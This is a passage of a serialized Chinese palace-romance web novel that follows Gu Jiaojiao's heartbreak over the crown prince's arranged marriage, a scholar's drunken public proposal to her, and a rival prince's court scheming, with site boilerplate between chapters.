这一天,赵蕴苎哭了许久。 而顾府里的顾皎皎一夜未眠。 翌日清晨。 莺儿起来准备备些清水时,却发现顾皎皎一个人站在院中。 东边的太阳才微微冒出头,天色尚未完全明亮,她就那般定定的站在那里,看着眼前的红梅,安静美好。 莺儿觉得,顾皎皎比冬日里的红梅还要美。 “姑娘怎么起来了?天色还早,再说也太冷了些。” 莺儿上前轻声唤着她。 顾皎皎收回目光,转头看向莺儿,还未说什么,莺儿便率先惊呼出声。 “哎呀,姑娘,姑娘眼下乌青,莫不是一夜未眠?” 顾皎皎扯了扯嘴角,看上去不再像昨日那般伤情。 “许是受了凉,就没睡好,没事。” 她说着,抬脚向屋里走去。 “我今日要休息,你叮嘱昭儿的师傅仔细些,若是有人来访,帮我推了就是。” 顾皎皎不是想通了,而是将那些情绪都压在心底。 她无法改变什么,能做的也只能是向前走。 “是,姑娘是该好好休息,还有昨日也没怎么吃东西,现下可是饿了?” 莺儿无不关切的询问,但看到顾皎皎情绪好转,终归是好事。 “确实,让他们送些糕点来就好,等我醒了再做其他。” 走了屋子,一股暖流传来,顾皎皎直奔内室,她确实需要休息,养足精神。 皇宫。 双剑打着哈欠向沈云祉汇报着宫外的情况。 确切的说,是汇报着有关顾皎皎的情况。 “顾姑娘自回到府后,便没有出门,属下偷偷翻墙去看过,顾姑娘几乎是一夜未睡,时不时还会在院子里站上一站,直到不久前顾姑娘终于在天亮之时回屋休息,属下才回来汇报。” 双剑做事一向稳妥。 他在顾府的房顶上守了一夜,只是觉得顾皎皎心情不好,怕她出什么事。 沈云祉一直微低着头,脸上没什么情绪变化,但那双漆黑的眸子却变得越来越幽深,他隐藏着什么,别人无从得知。 “将我备好的东西,让双瑞给她送去。” 良久,沈云祉才缓缓开口。 皇上下的赐诏书已有四日,但细算时间,能在大街小巷传开,也就是昨日的样子。 顾皎皎伤情,想来是因为那份诏书。 沈云祉想去看看她,可又怕她伤情的模样,也怕她隐藏心事,像上次一样说出什么冷情的话。 “是,属下这就去办。” 双剑正欲转身离开,却又被沈云祉叫住。 “宫外进供了一斛螺子黛,一并给她带去。” “殿下,螺子黛千金难求,宫中也只得一斛,按照规矩,也应该是留给未来太子妃的。” 双剑不得不提醒沈云祉。 价格不论,这也是身份的象征,若被外人知道,会生事端。 “双剑,不要学双瑞多嘴。” 沈云祉抬了抬眼帘,目光坚定。 双剑立即应下,不敢再说什么。 双瑞奉命,带着一些东西出宫前往顾府,但却并未见到顾皎皎。 “太子殿下婚事已定,你就不要再来送东西了,被有心人看到,我们姑娘又要背负骂名。” 莺儿看到双瑞,心里有气,语气也不禁重了几分。 双瑞轻叹了口气。 “殿下也是无奈,殿下身处权力中心,一不小心便是性命之忧,还希望顾姑娘能理解。” “我们姑娘理解殿下,谁理解我们姑娘,姑娘从未奢求什么,也只是想要个平平静静罢了。” 莺儿顿了顿,转头看了一眼顾皎皎的院子,依旧没有让双瑞进去的打算。 “你们殿下无奈,所以洞房花烛,步步高升,我们姑娘受着委屈,却还要理解别人吗?劳烦转告太子殿下,我们姑娘最不缺的便是这些东西,殿下就不必再画蛇添足了。” “莺儿……” “还有你,日后也不要再来了。” 莺儿心中有气,有怨,但更多的是对顾皎皎的心疼。 她侧过身,不再理会双瑞。 双瑞无可奈何,却还是将东西放下了。 “我会转告殿下,但东西我不能带回去。” 说完,双瑞便跑开了。 “喂,你……” 莺儿想喊住他,但早已没了踪影。 看着地上的那个包裹,莺儿自是不敢擅做主张,只得将东西带了回去。 顾皎皎是临近中午时才醒。 虽然是睡了一觉,但还是有些乏累,脸上的神色也不是太好。 莺儿和馨儿给她备了膳食,都是她平日里爱吃的。 顾皎皎觉得没什么胃口,本是不想吃的,但是莺儿告诉她,顾昭一直在等她用膳,她也只好起身过去了。 “阿姐醒了。” 顾昭目不转睛的盯着顾皎皎,一副要看穿她心事的模样。 顾皎皎却一下就明白了他的意思,走过去揉了揉他的头发。 “阿姐没事,吃饭吧。” 她的状态确实好了许多。 他们姐弟二人坐下用膳,身后的莺儿与馨儿却在后面挤眉弄眼。 “发生什么事了?” 顾皎皎甚至都没有回头。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第三百七十三章 你喜欢谁 莺儿还是将双瑞带来的东西拿了上来。 “我是拒绝过的,但是……” 莺儿面露难色,说话时也小心翼翼。 顾皎皎指了指旁边的桌子,示意莺儿将那包裹打开。 她还在吃饭,只让莺儿告诉她里面都装了些什么。 大多东西和之前差不多,名贵首饰,贵重的布匹摆件,还有宫中出来的补养之物等等,但当看到一个小盒子里的物件时,莺儿都吓了一跳。 她拿着那个小盒子靠近顾皎皎。 “姑娘,你看,这是不是螺子黛?” 顾皎皎原本淡然的神色,还是为之一震,握着筷子的手都在微微收紧。 “这螺子黛是外朝进供的,怕也不多,按照宫中规矩,该是给皇后以及皇上看重的女子,如今宫中没有皇后,但是有……” 太子妃。 这一盒螺子黛该是赏给赵蕴苎的,但现在却出现在顾皎皎这里。 “太子殿下倒是有心,对姑娘也是真心实意,只可惜身份使然,没有缘分,如……” “馨儿,莫要胡说。” 莺儿低吼出声打断馨儿继续说下去,看了看顾皎皎的脸色后,才又看向馨儿。 “圣旨已下,太子妃之位已定,这些与我们姑娘都没有任何关系,记住了。” 馨儿年纪虽小,但跟在顾皎皎身边的时间也不短,自是了解其中利害,此时,她也意识到自己失言,忙重重的点了点头。 “那些贵重的东西收起来,存入库房,这螺子黛便放在我妆台上,莫要辜负了。” 顾皎皎看着那满满一斛螺子黛,悠悠开口,眉眼间的那抹忧伤渐渐散去,恢复如常。 “是。” 莺儿应着,却也依旧小心谨慎。 她深知她家姑娘擅于隐忍,所有平静的表面下,都是她将委屈暗暗咽下。 “我记得霓裳阁里半月前新制了一批料子,颜色倒是极好,让他们给昭儿制几套衣衫。” 顾皎皎抬眼冲面前的顾昭笑了笑,似是刚刚什么事也没有发生的样子。 顾昭没有拒绝,回以微笑,但是她们所有的对话都听在耳朵里。 顾皎皎精神好了一些,陪顾昭前往书房,亲自看着他练字。 “昭儿年纪尚幼,但字却极好,只这短短的时间,便可写的比阿姐当年好太多了。” 顾昭启蒙晚,但聪慧努力,只这一点便比其他孩子好上许多。 也可能是因为顾昭幼年过的不甚如意,所以他会更加格外珍惜现在拥有的一切。 顾昭将最后一笔落下,抬头看向顾皎皎,不自觉的扬起嘴角。 “我是看过阿姐的字的,只是账薄上,都觉得不忍直视。” 顾皎皎翻了个白眼。 “那是因为我幼年时,常跟父亲在外奔波,错过了练字的最好的年纪,并非是我不用功。” “才不是呢,莺儿姐姐说过,阿姐当年练字极为艰难,父亲是又哄又骗又吓唬的,但阿姐今日装病,明日偷跑,更有甚者还将笔墨纸砚藏起来呢。” 顾昭一双清澈的眸子里满是笑意,也根本毫不留情的拆穿顾皎皎的说辞。 顾皎皎面露尴尬,轻咳两声。 “阿姐是女子,又不科考,又不入仕,自不需要什么好字来充门面,但你不同。” “是,阿姐说的自然是对的,抛开科考不谈,我也要将字练好,不然别人会以为字不好,是我们家族传下来的。” 顾昭这句话还是让顾皎皎轻轻拍了他一下,二人也笑作一团。 顾昭初来时,少言寡语,做什么都小心翼翼,如今也算是真的融入这个家里了。 “好了,过来吃些果子,休息一下。” 顾皎皎招呼着顾昭坐下。 顾昭向来听她的话,放下手中的笔,坐在她对面。 “这段时日,杜大人时常来咱们府里,我文字上不通时,杜大人也时常解惑,耐心周到,是个极好的人。” 顾昭微低着头,吃着顾皎皎递给他的新鲜果子,似只是随口说着。 “是,杜大人霁月高风,才学出众,是难得的谦谦君子。” 这一点顾皎皎一直都知道。 “太子殿下也时常送来东西,但自从我来顾家后,每次送来的东西里都有一些我可用的,想来也是用心的。” 顾昭又突然提到了沈云祉。 此时,顾皎皎才意识到,这个小娃娃说的这些是有其他意思。 “你想说什么?” 顾皎皎看着这个小男孩儿,似是大人一般的面色凝重。 “阿姐喜欢谁?” “什么?” “太子殿下与杜大人,阿姐喜欢谁?” 顾昭又重复了一遍,而后继续说道。 “我知道,有身份的束缚,我们没得选,可若只是论心事的话,阿姐可有喜欢的人吗?” 一个小娃娃而已,却能问出这等严肃的问题,难得的没有让顾皎皎感到难过,反倒是笑出了声。 “你一个几岁的娃娃而已,知道什么是喜欢?” “当然知道,杜大人喜欢阿姐,想把最好的都给阿姐,太子殿下也喜欢阿姐,会保护阿姐,但殿下无奈,却不能给阿姐想要的,殿下的喜欢是隐忍的。” 顾昭说完这些的时候,顾皎皎都不禁怔了下,而后抬手轻刮了一下他的鼻子。 “大抵是一直将你当成个小孩子,便让你知道的太多,日后还是要瞒着你些才是。” “阿姐还未说,你喜欢谁?” 顾昭一副执着的模样。 顾皎皎扯动了下嘴角,看向别处的目光里也袭上了一抹无奈。 “喜欢,这个词对我来说过于奢侈了,此生,我怕是也不会对任何男子倾心以待了。” 她这样说,是因为在看到圣旨的那一刻,便将心底的那个人封存了。 像他那般的人,是世间独一无二的,自也不会再有人能像一般让她心动。 顾昭眨巴着大眼睛,只觉得心疼,心疼他的姐姐。 “阿姐是这世间最好最好的女子,若只是普通儿郎,自也是配不上阿姐的。” 他说的认真,郑重,竟一副不接受反驳的模样。 顾皎皎抬手抚摸了下他的头,好看的眼睛里满是笑意,也是感动。 姐弟二人在屋子里闲聊着这些,丝毫没有注意到,门外有个身影伫立许久。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第三百七十四章 好奇害死猫 杜玉荣来到了顾府,想着顾皎皎大抵是不愿见自己,便没有让人通报,直接来到书房。 却不想,他在门口听到顾皎皎与顾昭的对话。 顾皎皎说再不会对男子动心,是因为她身份使然吧? 她不像赵蕴苎身后有靠山,也不像那些普通女娘只可顺应天命就好,她身上责任重大,能依靠的却只有自己。 如此这般女子,是会让人心疼的。 杜玉荣想做她的依靠,当她的靠山,让她可以自由自在,做自己想做的事。 “杜大人来了,怎么不进去?” 莺儿本是来送茶点的,却看到杜玉荣站在门口,不禁开口询问。 她的话也引起了屋内姐弟二人的注意。 顾皎皎走出来,她不知道杜玉荣在外面站了多久,也不知道他是否听到了他们在屋内的对话。 “幼弟近来进步很大,这都是杜大人的功劳,在此谢过。” 顾皎皎微微欠身,行了个礼,淡淡的笑着,如往常一般看不出有任何心事。 杜玉荣将手中的东西递给一旁的莺儿。 “在家中书房寻了一些古籍,昭儿还小,现下虽读不懂,但日后定是可以用到的。” 他看向她的目光依旧满是柔情,轻声细语,少了往日的孤傲。 “多谢大人。” “昨日之事我听说了,赵蕴苎向来跋扈,还望姑娘莫要往心里去。” 他未曾说他已然去‘教训’过赵蕴苎,只是想顾皎皎不再难过。 自然,他并不知道,顾皎皎从未将赵蕴苎以及她的那些言语放在心上,她的心伤,另有原因。 “杜大人言重了,不过是争执几句,无妨。” 顾皎皎掩饰着眼中的慌乱,随即岔开话题。 “外面寒冷,大人请进吧。” 杜玉荣微微点头,走进书房。 顾昭在里面立即起身,向杜玉荣抱拳,恭恭敬敬的行了个礼。 “见过老师。” 这声老师倒是叫的十分顺畅。 “还是你懂事,比你姐姐强上许多。” 杜玉荣玩笑的开口。 他是很少开玩笑的,就连顾皎皎也很少见的。 “杜大人还是要给我留些颜面才是。” 顾皎皎笑了笑,又转身安排馨儿在书房侍奉着。 “顾姑娘去忙就是,我看看昭儿的功课。” 杜玉荣看向顾皎皎,一副让她放心的模样。 顾皎皎谢过后,带着莺儿走出书房。 “杜大人是贴心的,知道姑娘在意小公子的功课,便每隔几日都会过来。” 莺儿小声嘀咕着,自然是有了其他意思。 “收起你那些小心思,再胡说八道把你嘴封起来。” 顾皎皎缓步向前走着。 莺儿吐了吐舌头,而后突然想到了什么。 “对了姑娘,外面传来消息,说安阳候府近来都死气沉沉的,倒是徐青青跟孙协兆闹了几次,都是因为上次醉月楼之事。” 莺儿停顿一下,看了看周围,确定没有人后又继续说道。 “这两日,孙协兆又开始频繁出入平王府,倒是那平王,近来消停的有些不正常。” “是啊,过于平静自是有妖,皇宫里发出太子与赵家结亲的消息,平王怎可能还坐得住?” 顾皎皎眉头紧锁,也觉得这期间有什么问题。 她停下脚步,看着莺儿。 “王吉大抵什么时候回来?” “根据我们的人传信,王吉已经办完赈灾之事,但即使回来也得十天左右。” “先让我们的人盯着平王府和孙协兆,不要轻举妄动,有消息及时汇报。” 顾皎皎吩咐着。 “是。” 莺儿应下,继续陪顾皎皎在园子里闲逛。 “今年的梅花开的真好,比往年更红了些。” 莺儿不禁感叹。 顾皎皎却笑了笑。 “你忘记了,我们有两年没有回来了。” 莺儿一拍脑门。 “确实是忽略了,之前看的府中的梅花已是两年前了。” 候府的那两年,现在想来真是不值,也真是不值得记住。 顾皎皎抬手,轻折下一枝梅花,冬季萧条,这院子里的梅花,却让这顾府多了几分颜色,会让人觉得心里也是暖的。 “幼时,每到冬季便觉得无趣,吵着闹着想要梅花,父亲无可奈何,只好在墙边栽种了这些梅花树。” “是啊,当年姑娘淘得很,非要看看梅花树是如何生根的,老爷前脚种下,后脚你就挖了出来,一排树苗全都死了,老爷气的不轻,又着人重新种了一批。” 谈论起往事,主仆二人都喜笑颜开,那段日子总是自在开心的。 只可惜,那样的好日子总是短暂的。 “莺儿,陪我折些红梅,明日我们去看望父母。” 顾皎皎眼中还是闪过一抹忧伤,转瞬不见。 “是。” 莺儿立即应下。 平王府。 平王端坐在正坐,品着茶,却从未用正眼看过身侧的人。 “王爷,小婿真的是被冤枉的,小婿不才,但却也知轻重,那日本是与朝中大臣拉拢关系,却不想中计,哦对了,那个女子现在是在顾皎皎那个贱人处当差。” 这样的话,孙协兆每次来都要说一次,只是为了将自己身上的污名洗清。 只是,此事到现在为止,真相如何已经不重要了,平王更不介意。 “好了,此事到此为止,我叫你过来,是有其他事。” 平王将手中的茶盏放下,这才抬眼看向孙协兆。 “京郊有一些人,乃是我用来打探消息的,只是他们查到消息无法传到本王这里,需要你传递消息。” 平王这身份太过引人注目,行事自然不便,而这孙协兆如今的名声已经是臭了,正是可用之人。 孙协兆不知平王用意,只觉得他自己会再次被得以重用。 “是,小婿自听王爷吩咐,断不会令王爷失望。” “你只负责传递消息,其他的不必管,自然了,本王也要叮嘱你一句,不该你知道的不要有好奇心,好奇害死猫。” 平王说这话时,眼中袭上一抹杀意。 孙协兆不禁缩了缩脖子。 “小婿不敢。” “好,一会儿出去后,李嬷嬷会告诉你与他们联络的方式,你也仔细一些,莫要出什么差错。” 孙协兆自是开心的,他连着来了平王府三天,才再次得到了差事,出去时自是满面春风。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第三百七十五章 此生只你一人 平王从未接受沈云祉成为太子这件事,为了将他拉下来,平王也从未停止暗中谋划。 原以为,一切都来得及,可谁知,皇上竟然为沈云祉和赵蕴苎赐婚。 赵蕴苎是什么人?那可是首辅的嫡孙女,这桩婚事,明眼人都看得出来,是强强联合,这也意味着,皇上虽然身体不好,却一直在为沈云祉铺路。 这是平王不能忍受的。 只是,今时不同往日。 平王在皇宫的眼线大多都是平王妃所设,沈云祉拔除了一些,但其他人平王也无法启动,毕竟,现在平王妃还云澜寺里。 如此一来,他就只能自己培养人手,而与这些人手联络也需要一个人,平王便选中了孙协兆。 事无完全,若是事未成便事发,孙协兆也是一个很好的顶罪之人。 李嬷嬷从外面走了进来,向平王行了个礼。 “王爷,已经向孙公子都交代清楚了。” 平王神色凝重,微微点头,并未说什么。 “外面的人来报,太子殿下的侍卫偶尔出入顾皎皎的府邸,似是在送东西。” 李嬷嬷又再次说道。 平王冷哼一声。 “沈云祉跟他爹倒是极像,是个情种。” 他不屑于这种感情,觉得不过是日常消遣,上不得台面。 “王爷的意思是,太子殿下当真对那个商女动情了?” “哼,你以为呢?沈云祉隐忍多年,就连他进京之时,本王都不曾以为他有夺位之心,可是却为了那女子,硬闯我平王府,不顾朝中大臣指责,这可不是他一惯作风。” 平王起身,又手背在身后,缓慢的踱着步,也思索着。 “沈云祉如今在宫中,又有首辅相助,我们无从下手,但可以从这个顾皎皎身上再做文章,去,安排人盯着,我倒要看看,沈云祉能护她几时。” 平王的眼中闪过一抹阴狠,只要是能对付沈云祉,他无所不用其极。 李嬷嬷立即着人去安排。 皇宫。 双瑞回宫后,也将莺儿所说的话说给了沈云祉。 莺儿只是侍女,自是不敢做什么决定,她能传达的言语,也自是顾皎皎交代的。 沈云祉面前的奏折并未减少多少,神色也越发凝重。 “她依旧不肯入宫?” 他沉声询问。 双瑞低下头。 “属下连顾姑娘的面都没有见到,那些东西也差点没送出去。” 这也代表,顾皎皎心意已决。 她本就是这样的人,自己决定做的事,从不会轻易改变。 她亲口说过,不为妾室,哪怕是太子的妾室,皇上的妾室,她都看不上。 沈云祉摆了摆手,未再说什么。 双瑞只得退了出去。 宫中事务向来繁杂,皇上又下了赐婚圣旨,沈云祉也越发忙碌。 而顾皎皎除了处理一些生意上的事,也将更多的时间放在了教导顾昭身上。 京城人都得知,顾府认下一个小公子,时间久了,大家便也接受了此事,少有人再非议。 第一楼。 顾皎皎身处阁楼之上,看完账薄后,又吩咐他们更改一些菜式等等。 刚刚忙碌完,本想休息一下,馨儿便从外面跑了进来。 “姑娘,姑娘不好了。” “我谢谢你,你家姑娘我好着呢。” 顾皎皎被这丫头吓了一跳,无奈的翻了个白眼。 “不是的,是杜大人来了。” “杜大人?他为何来第一楼了?可是昭儿出了什么事?” “与小公子无关,是杜大人……哎呀,姑娘跟我去看看便知道了。” 说着,莺儿就将顾皎皎拉起,直奔楼下而去。 此时,杜玉荣就在第一楼的一楼,周围的客人不少,都将异样的眼光落到他身上。 顾皎皎也是下来之后,才知莺儿为何如此急切。 “这是……” 顾皎皎上前,向杜玉荣身边的小厮低声询问。 杜玉荣听到声音,也立即抬起头。 他面色绯红,眼神迷离,一向注重礼仪的他,连衣衫都有些皱了,也不曾打理,最重要的是,他浑身散发着浓重的酒气。 “顾姑娘见谅,我家公子今日参加宴饮,多饮了几杯,所以……” “杜大人既醉酒,也该送回府中,怎可来找我家姑娘?” 莺儿压低了声音,也显示着她的不悦,毕竟,杜玉荣此举也是会给顾皎皎招来闲言碎语的。 “莺儿,不得无礼,去命人煮碗醒酒汤。” 顾皎皎吩咐完,看向那小厮再次开口。 “楼上有雅间,扶杜大人去楼上休息片刻吧。” “是,多谢顾姑娘。” 小厮立即道谢,伸手去扶杜玉荣,可谁知,他的手还未落下,便被杜玉荣甩开。 杜玉荣摇晃着起身,还向顾皎皎靠近两步。 出于本能,顾皎皎后退,眉头也微微皱起。 “顾皎皎,你可愿嫁我?” 杜玉荣一开口,便吸引了周围人的目光,甚至大家已然不记得自己是来吃饭的。 顾皎皎还是愣了一下。 “杜大人酒醉,想必甚是难受,不如……” “我不难受,也没有喝醉,你,顾皎皎是这世间最好最好的女子,我欲娶你,必是八抬大轿,明媒正娶,你若肯嫁我,我可许诺,此生只你一人,绝不再娶。” 杜玉荣站都站不稳,但说出来的话却是信誓旦旦。 似是怕顾皎皎不信,他干脆上前两步,直接抬手抓住了她的肩膀。 顾皎皎自是挣扎了几下,却也没有逃脱,此时周围已然响起了唏嘘声。 “皎皎,我是真心的,你信我,从未有任何女子能让我如此在意,你想要的,我定然给你,你……” 杜玉荣越说越激动,甚至开始摇晃起顾皎皎的肩膀。 顾皎皎是有些武艺在身上的,只是杜玉荣一介文臣,又醉酒站不稳,她若动手了,怕是会伤到他。 好在杜玉荣小厮上前,赶忙将杜玉荣拉开。 “公子,公子,莫要冲动,会伤到顾姑娘的。” 小厮即使是强拉着他,也有些吃力。 杜玉荣的目光从未离开过顾皎皎,也从未对她承诺。 顾皎皎从未遇到过这样的事,却也不能任由事情发展下去。 “来人,送杜大人回府。” 几个伙计立马过来,一起将杜玉荣拉出了第一楼。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第三百七十六章 酒后吐真言 “顾皎皎,我杜玉荣一言九鼎,只要你点头。” 杜玉荣的声音越来越远。 顾皎皎站在原地,迎着周围或嘲笑,或羡慕的目光,一时怔住。 “顾掌柜,这杜大人可是京中多少女娘梦寐以求的郎君,过了这个村可就没这个店了。” “是啊,杜玉荣乃文官清流之家,家世也极为不错,是个不错的选择。” “这杜大人向来清冷,却对顾掌柜另眼相待,顾掌柜真是好福气啊。” “若能嫁入这样的人家,顾掌柜也算是得偿所愿了吧?” …… 周围议论声响起,或真或假,但每个人的意思都是说顾皎皎有福气,即使是杜玉荣亲自求娶,也是顾皎皎高攀了。 “姑娘累了吧?我先扶你回去休息。” 莺儿再次过来时,只听到那些你一句我一句的起哄,而顾皎皎则孤零零的站在那里,不得不迎着那些异样的目光。 顾皎皎回过神,在莺儿的搀扶下走出了第一楼。 她并不在意那些言语,只是当众听到杜玉荣那些话,她一时有些慌乱。 “原一直以为杜大人是个沉稳的,却不想竟做出这等事,这不是又将姑娘推入火坑了吗?真是讨厌极了。” 莺儿气的不轻,抬头看着顾皎皎,也不免有些担心。 “姑娘,你没事吧?” 顾皎皎摇了摇头。 “杜大人只是醉酒,无妨。” “人们常说,酒后吐真言,姑娘,你,你不考虑一下吗?” 莺儿迟疑着,还是问出了心中的那个问题。 其实杜玉荣对顾皎皎的心意,莺儿一直都看在眼里,也一直觉得杜大人诚心可鉴,也许是个可以依附的人。 只可惜,顾皎皎心中的那个人,不是杜玉荣。 “我与杜大人无意,强行在一处,也只会生怨。” 顾皎皎态度坚决,她一直都知道自己想要什么,自然也知道,什么是她不该要的。 顾昭原在后院的演武场练习骑射,便听到下人说顾皎皎回府了。 算着时间,顾皎皎不该这个时间回来才是啊。 顾昭放下手中的弓箭,连衣服都未来得及换,便跑去了前院。 顾皎皎刚坐定,便看到顾昭穿着单薄的跑了进来。 “怎么不换衣服?天气寒冷,又出了汗,怕是要着凉。” 顾皎皎立即命人拿来衣衫。 “阿姐此时回府,可是出了什么事?” 明明是一张稚嫩的脸,却问着如此严肃郑重的问题,让人忍俊不禁。 “无事,只是近几日感觉过于疲累,今日便早回来一些。” 顾皎皎自是不会说杜玉荣醉酒之事,面对着一个小孩子,她也不知该如何说。 顾昭似是松了一口气的模样。 “那便好。” “好什么好,快去洗洗,换好衣服,莫要着凉。” “先不换,我只练了半个时辰骑射,师傅说了,我开蒙晚,必要比别人多练一些。” 说着,顾昭便起身,向顾皎皎行了个礼后又跑了出去。 顾皎皎欣慰的笑笑,不只是因为顾昭肯努力,也因为这孩子心存善意。 原本只是杜玉荣酒醉之言,但在这京都城,又涉及到杜家这种书香门第,消息很快传播开来。 是贵门子弟心悦商女也罢,还是商户之女狐媚勾引也好,总之,当日之事也是被有鼻子有眼的成为人们茶余饭后的谈资。 很快,这话也传入了宫中。 “殿下,稍后会有大臣前往朝阳殿与您议事,您此时不能出宫。” 双瑞跟在沈云祉身后,不停的劝说着。 “殿下,我已经打探过,那只是杜公子的酒醉之言,算不得数,且顾姑娘并未答应。” “殿下……” 双瑞不停的劝说,不停的跟着,可是沈云祉已经出宫了。 未瞒皇城守卫,就这样策马出宫,不知又要闹出什么样的风波。 双瑞无奈,只得快马跟上。 顾府。 顾皎皎正在院中看着顾昭练拳,一套拳还未打完,门口处便传来动静。 “姑娘,太子殿下到了,门口的人没有拦住……” 莺儿汇报着,还时不时的回头看向外面。 顾皎皎也并不觉得意外,只转头看向顾昭。 “昭儿,你先回房。” “阿姐……” “无事,去吧。” 顾皎皎终是不想让顾昭看到沈云祉发疯的样子。 顾昭前脚刚走,沈云祉便大步走进了顾皎皎的院子。 顾皎皎上前准备行礼,但礼还未行完,便被沈云祉拉住了手腕,向屋内拖去。 “沈云祉,你放手,你是疯了吗?” 她低吼出声,却逃不离他的‘魔爪’。 莺儿想去帮忙,也被双瑞挡下,看的出来,双瑞满脸无奈,只能一脸委屈的看着莺儿。 莺儿急的不行,狠狠的瞪双瑞一眼。 “你们主仆二人皆是疯子,是有病。” “殿下不会伤害顾姑娘的。” 双瑞说的极为肯定。 屋子的房门关上。 沈云祉没有放开的意思,将顾皎皎直接抵在门上,整个身体都靠了过去。 “说,你和杜玉荣到底是怎么回事?” 他声音阴冷,眸子幽深,紧抿着薄唇,喉结微微滚动,让人瞬间充满压抑感。 顾皎皎的身体紧紧的贴在门上,再无任何可躲的地方,只得将头转向一边。 “没怎么。” 她轻描淡写的三个字,是会刺激到沈云祉的。 他抬手捏住她的下巴,逼迫她看着自己。 只那一眼,顾皎皎便可看到他猩红的眸子,却分不清他是在难过,还是愤怒。 “没怎么?杜玉荣敢当众说娶你,你未置可否,你竟然还敢说没什么?” 他说话间,离她又近了几分,甚至可以感觉他的唇边游离在她的脸颊。 顾皎皎挣扎,却动弹不得半分。 “沈云祉你又发什么疯?你弄疼我了,放开。” 她话音刚刚落下,沈云祉便俯身下来,将一个令她窒息的吻落在她的唇间。 他的吻炙热,霸道,甚至带着掠夺和占有。 顾皎皎由躲避,慢慢的沉沦于他的怒火中,而后便感觉唇间传来微痛。 她微微皱眉,而后也咬向沈云祉。 沈云祉终是松开了她,但二人唇间皆出现鲜红的血渍。 可即使是这样,沈云祉也并未打算放过她。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第三百七十七章 何德何能 沈云祉未从这种怒火中抽身,那口中的血腥气也未让他冷静下来。 “我许你侧妃之位,望你永远留在我身边,你不肯,究竟是因为骨气,还是因为早就知道杜玉荣对你的心意?” 他所说的每个字都极为冷傲,从他的语气里也听不任何询问,似是已经确定了。 顾皎皎心底不自觉的涌起一股怒火。 “沈云祉,你是太子,你该管的是你的皇宫之事,是你的太子妃之事,至于我的事,与你无关。” 她侧身便准备离开,却又被眼疾手快的沈云祉拉了回来。 “本殿下要管的事,必然得管,你想为人正妻,想要个高高在上的身份,所以,你一早就准备嫁与杜玉荣了,是吗?” 他咬牙切齿,眸子猩红,盯着她,如一头发怒的狮子,随时会爆发。 顾皎皎没有掩饰住眼底的失望。 在他心里,她如那些外人所说的一样,可以为达目的,不择手段,也可不在意什么男女之情,只为得到想要的位置。 他从未真的了解过她,更不会信她。 “是,你说对了。” 不知过了多久,顾皎皎将所有的情绪掩藏,而是向沈云祉投去坚定的目光。 她的唇角还带着血迹,那张好看的脸上已然是一片冰冷。 “太子殿下满意了吗?” 顾皎皎几乎是用尽了全身力气,趁沈云祉怔愣之际将他推开。 “只为了正妻之位?” 沈云祉开口时,语气里已然没有了任何了情绪。 “没错,我宁愿做一个状元郎的正妻,也不愿为你太子的妾室,我宁愿在一间府第里操持家务,也不愿在你的后宫争风吃醋。” 话音落下之时,顾皎皎看到了沈云祉眼中的悲伤,那样明显的悲伤,是她第一次见。 沈云祉紧抿薄唇,凝视了她许久,甚至放在身侧的双手都紧握在一起。 顾皎皎终是将目光移开,那张美艳的脸,如今满是冰冷,只有眼中的不忍,不想让他看到。 沈云祉离开了,但是走之前他留下一句话。 “你莫要后悔。” 这几个字带着威胁,也带着愤怒。 顾皎皎在门边站着,许久才呼出一口气,心底的那股疼痛,让她喘不过来气。 她扶着墙壁,才挪动到椅子处坐下。 眼底温热,她也强撑着,没有让泪水流下来。 莺儿跑进来时,看到顾皎皎的样子,一时不知该怎么安慰。 “太,太子殿下已经走了。” 莺儿也不知道自己为何这般说,似是让顾皎皎放心,也像是在告诉她这个结果。 顾皎皎仰起头,将即将夺眶而出的泪水倒回。 “去备些水。” 她低声开口,声音都有沙哑。 莺儿应着,也注意到她的唇角还在渗着血,却没敢做什么。 莺儿转身向屋外走去,但在门口处却迎面撞上一人。 “你们还有完没完?” 莺儿不禁怒吼出声,但那人却并未理会她,径直走向了里面。 莺儿快跑几步,终是挡在了顾皎皎身前。 “你们殿下还有事交代?” 顾皎皎看着眼前的人,尽量让自己的语气听上去平静。 “顾姑娘,双剑放肆了,但有些话却不得不说。” 双剑抱拳行礼。 “殿下心悦姑娘,心里也只姑娘一人。” “殿下身处皇宫,他那个位置不知有多少人虎视眈眈,现在只是太子之位,便遇到了无数次暗杀,下毒,就连远在云南的云南王妃也险些遇到不测。” “那些大臣在朝政之上掣肘,只为让殿下跌落尘埃,若只是失去太子之位也无妨,但他一旦败了,便是毁家灭族之事。” “属下知道顾姑娘心性高傲,不屑于为侧妃妾室,属下只是想恳求顾姑娘,莫要与殿下怄气,也只有姑娘可以让殿下开心一二了。” 双剑向来是不善言辞的,但今日却一下说了许多。 顾皎皎缓缓低下头。 沈云祉所遇到的事,有许多她都不知晓,纵使知道他在宫串艰难,却并知会难成这般。 “我,何德何能。” 顾皎皎悠悠开口,她甚至不知该如何回答双剑。 双剑再将行礼。 “姑娘莫怪,属下今日来说这些是瞒着殿下的,殿下为了姑娘失了分寸,今日更是将大臣们留在宫中,他一人出宫。” 他停顿了一下,语气中也满是无奈的继续说道。 “殿下已被皇上赐婚,属下自是不敢要求姑娘怎样,只是这些话不说,终是于心不忍,如今话已说完,属下告辞。” 双剑来时像一阵风,离开时也未曾留下一丝痕迹。 在房门关上的那一刻,顾皎皎的泪水终究还是止不住的落下来。 她没有出声,只是任由泪水安静的滑落,使那双眼眸更为明亮清澈,只是那泪水流过唇角,混着丝丝血渍,流入口中之时,满是苦涩。 莺儿眉头紧锁,她没有说什么,只是不停的帮顾皎皎擦拭着眼泪。 她知道,此刻任何安慰的话都是多余的。 顾皎皎的心绪再次乱了,她知道,她要调节好,需要很长一段时间。 皇宫。 沈云祉刚到皇城门口,便被人拦了下来。 “太子殿下这是去哪里了?” 平王站在城门口,抬头看着马上的沈云祉,眼中满是得意。 沈云祉心情差极了,自是不想与此人过多废话。 “平王叔现下连本宫的去向都要过问吗?” “臣自是不敢,只是今日宫中议事,大臣们已然等候多时,却不见殿下身影,原还以为是殿下身体欠安,却不想是去宫外散心了。” 平王言语间满是挑衅。 这也难怪,他好不容易抓住沈云祉一个错处,自然不会轻易放过。 “平王叔若再耽搁下去,那些大臣还得再等等。” 